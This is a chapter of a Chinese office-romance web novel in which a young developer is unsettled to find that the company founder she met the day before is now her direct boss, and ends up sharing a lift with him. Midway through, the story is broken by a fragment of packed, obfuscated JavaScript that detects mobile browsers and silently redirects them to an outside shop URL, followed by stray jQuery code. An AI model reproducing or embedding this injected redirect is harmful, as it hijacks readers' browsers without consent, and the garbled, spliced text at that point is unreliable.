“呦小温工,昨天熬夜干啥呢,顶着这么大黑眼圈。”
说话的是他们团队唯二的女生,入行比温言蹊早几年,温言蹊刚来的时候都是由她带着的。
“Ada姐,早啊。”温言蹊揉了揉眼,无精打采的问好。
Ada放下手提包,伸手去捏她的脸,帮她清醒一下:“我挺好的,但你是怎么回事,不会是昨天抽到大奖激动的一晚上没睡吧?”
被这么一捏温言蹊可算恢复了神智。
“姐,你也把想的太浮夸了。”温言蹊拖长声音回答,她没说章之涵的小道消息,只讲了是因为租房的事头疼。
“这无良房东真是的,对付这种人还没法好好跟他讲道理,”Ada啐了一口,显然以前也没少遇到这样的人。
“没事,姐最近帮你留意一下有没有合适的房子,要是有看见好的我就联系你。”
“谢谢姐,你真好,下次请你吃火锅!”温言蹊笑起来。
“打住啊,火锅就免了,你最近可得好好休息,这状态被咱老板看见可就遭了。”
温言蹊刚扬起的嘴角马上僵住,Ada没注意到她的异样,继续提醒她。
“别怪姐没提前告诉你啊,就昨天给你颁奖的那位,可是咱公司创始人,昨天忽然在高层会议宣布从今天起正式把工作重心移到国内这边,这不,今天全公司上上下下的人都准备着迎接那位陆总。”
这下温言蹊的瞌睡彻底没了,没有哪一刻比现在更清醒。
“咋不说话呢,不会紧张了吧。”Ada见她这么震惊的样子忍不住调戏几句。
紧接着又丢出一枚重磅炸弹。
“你要是紧张得趁早克服,你知道上头还说了啥吗,那位陆总可是重点负责我们这边开发部的,以后就是我们顶头上司了。”
噼里啪啦。
温言蹊桌上的笔筒滚落一地,跟她的心一样,掉在地上摔成了好几瓣。
Ada没想到她反应这么大:“你也太夸张了吧,今天回去赶紧好好休息休息。”
她弯下腰帮着捡,顺便提了一嘴:“对了,一会有个文件送到前台,你记得帮我拿上来啊,我急着用。”
“好。”温言蹊胡乱应了声,让Ada先走,这些她来收拾。
要说昨天看见章之涵发的那条信息还能自我欺骗一下是公司的谣言,现在听Ada姐一说,是正式坐实了消息的真实性。
温言蹊蹲下把笔一根一根捡起,幽幽叹了口气。
昨天还庆幸以后不会再见到这人了,结果就被突如其来的消息砸的晕头转向。
接手公司就算了,反正他们这些打工人一天也见不上几回老板,更重要的是又说要管理他们开发部这边。
温言蹊没好气的想,这人一天天没事做吗,别人公司老板都全世界到处飞,他倒好,还有精力管一个部门。
当老板就给我当好了呀,这叫什么事。
温言蹊捡起最后一根铅笔,用力插进笔筒里。
上午八点五十分,一楼大厅已经整整齐齐站着一排接待员,昨天被紧急培训过,现在他们一个个站得笔直不敢松懈。
温言蹊原本正在做一份数据统计分析,桌上的手机忽然响了起来,是前台打来的电话。
“喂您好,这里刚刚有一份文件被送到前台这了,您看要不现在来拿一下。”
她想起来是早上的时候Ada姐嘱托她的任务,她拿上手机,迅速坐着电梯下去。
时间刚好来到九点整,大厅门外传来动静。
一位西装革履的人先从车上下来,接着后座被打开,那人双脚刚落地就被事先站在门外的人围了上去。
有眼熟的就能认出来好几个都是析缘科技董事会成员。
温言蹊刚从前台那里拿到文件就听见大厅传来的声音。
脚步声由远及近的响起,从大门处陆陆续续走进来好几个人,都穿的很正式。
起初温言蹊没留意,只匆匆瞥了一眼。
她本打算拿着文件去按电梯的,结果那群人与她的距离逐渐拉近,这时温言蹊猛然抬起头,从人群中忽然捕捉到了一张熟悉的面孔。
那一瞬间她错愕,怀疑是自己看错了,但站在中间的人实在抢眼。
人群中穿着灰色西装,款款而行的人,分明是陆予笙。
周围站着的大多数是体型圆润的中年人,显得他一个人鹤立鸡群,很难不让人注意。
温言蹊紧张的东张西望,发现没有地方给她躲起来。
不是,怎么就没人告诉她陆总什么时候来啊,偏偏又让她瞎猫碰到死耗子遇上了。
没办法,她只好装没看见,独自面壁,祈祷对面的人。别看见她。
但可能是温言蹊一个人站在电梯口很突兀,陆予笙在路过她时投去视线,又迅速收回。身旁还有人在和他交谈,没有人注意到他那一刻的分神,除了一直紧紧跟随在他旁边的林特助。
人群裹挟着陆予笙往前走,他没有停下脚步,径直进入了已经按好的电梯里。
温言蹊听见身后脚步声逐渐远去,因为紧张而握住的手慢慢松开,掌心一片湿热,就连心脏的跳动声都强劲有力。
就在她以为这事就这么过去时,电梯门却没有立马关闭。
一位挂着职业式假笑的人向她走近,语气亲切地问:“小姐您也要乘电梯的话就跟我们一起吧,公司向来不会因为特权抢占员工的空间。”
这话说得滴水不漏,表面上是彰显高层关爱员工,其实根本没有拒绝的余地,要是拒绝了就是在否定后一句话。
温言蹊本来想说等下一班的,听见这话后硬生生把到嘴的推辞咽了下去。
为了不让电梯里那群精英人士等她,温言蹊识相的埋头跟进去,一个人默默站在了最靠外的位置。
在转身时余光看见了那人西装裤和皮鞋,不知道是不是那人腿太长,那一眼只扫到了腿,连半个身子都看不见。
电梯门缓缓合上,温言蹊像被人掐住了脖子一般,呼吸都放得很轻。
她身后全是男性,尤其是一道阴冷隐秘的目光落在了她因低头时而暴露的后颈。
那寒冷从后颈一直蔓延到全身,温言蹊咬着牙,死死盯着地上超过她半人高的影子上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899681|208783||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>忽然,背后响起一道询问,在安静的电梯里显得异常突兀。
“你是哪个部门的?”
温言蹊捏着文件的手哆嗦了一下,没敢转头看。
“开发部的。”
“名字?”
几个眼冒金光的老狐狸你看看我,我看看你,心里揣测中间这位为什么要突然问一个陌生人的名字。
林特助目光闪烁,但很快又恢复了平静。
温言蹊被他问得一噎,恍然意识到原来这人早就把昨天那事忘了,而且好像真的不认识她。
这几天的胆战心惊都是她的臆想,亏她还担心了这么久,原来一开始就没认出她!
“说话。”
后面人又问了一声,语气明显比上一句更重更没耐心。
温言蹊心情非常不美好,但又不能发作,只好憋屈的报了自己的名字。
她看着屏幕上不断跳跃的数字,从没觉得从一楼到15楼要那么久。
叮——电梯门终于开了。
温言蹊紧绷到发酸的肩慢慢放松下来,只对着那位请他上来的人点了点头,然后脚下抹油般往外走,仿佛害怕后面有什么可怕的野兽追上来。
直到电梯门再次关闭,那种被人盯着的感觉才消失殆尽,身体也开始回暖。
回到工位时她把那份文件给了Ada,整个人脱力般瘫在了椅子上。
“怎么了这是,拿份文件跟遇上了鬼一样,瞧你脸色白的。”
温言蹊被她这么一说赶紧照着镜子,发现她脸色还真是挺差的。
“别说了,比遇上鬼还可怕。”温言蹊托着虚弱的身体给自己倒了杯热水缓缓,然后就把刚刚在电梯里发生的事都告诉了她。
Ada听完捂着嘴,眼里全是怜爱:“小Cici你这运气也是没谁了,就凭你帮我拿文件,我会永远把这份情谊记在心里的。”
听见Ada的称呼温言蹊面上有一瞬间扭曲:“诶呀不要叫我这个名字,好幼稚的!”
温言蹊原本的英文名是Cecilia,她当时进来的时候年纪比较小,前辈都亲切的喊她Cici,正好跟她名字的后面一个字“蹊蹊”谐音。
每次Ada母爱泛滥了就会喊她小Cici,温言蹊觉得完全就是在把她当小孩。
“哪里幼稚嘛,你为什么不喜欢别人把你当小孩啊,长大才不好呢,一直做小孩就能一直开心。”
温言蹊无法反驳Ada的外门邪说,对她来说长大要比做小孩的时候好多了。
“行了行了不逗你了,刚刚群里发消息了,记得看啊。”
温言蹊扭过头,打开手机,发现在几分钟前他们部门群里艾特了全体成员,通知下午要在1号会议室开会,届时陆总也会在,要求大家全部打起精神准时到场。
人越多说得事越小,这是温言蹊工作几年总结出的经验。
她把消息添加到了日程,刚准备处理电脑上的数据时就感到小腹一阵坠痛。
温言蹊捂着肚子,可算知道她为什么会脸色不好了。
原来不是被那人吓白的,而是她来月经了......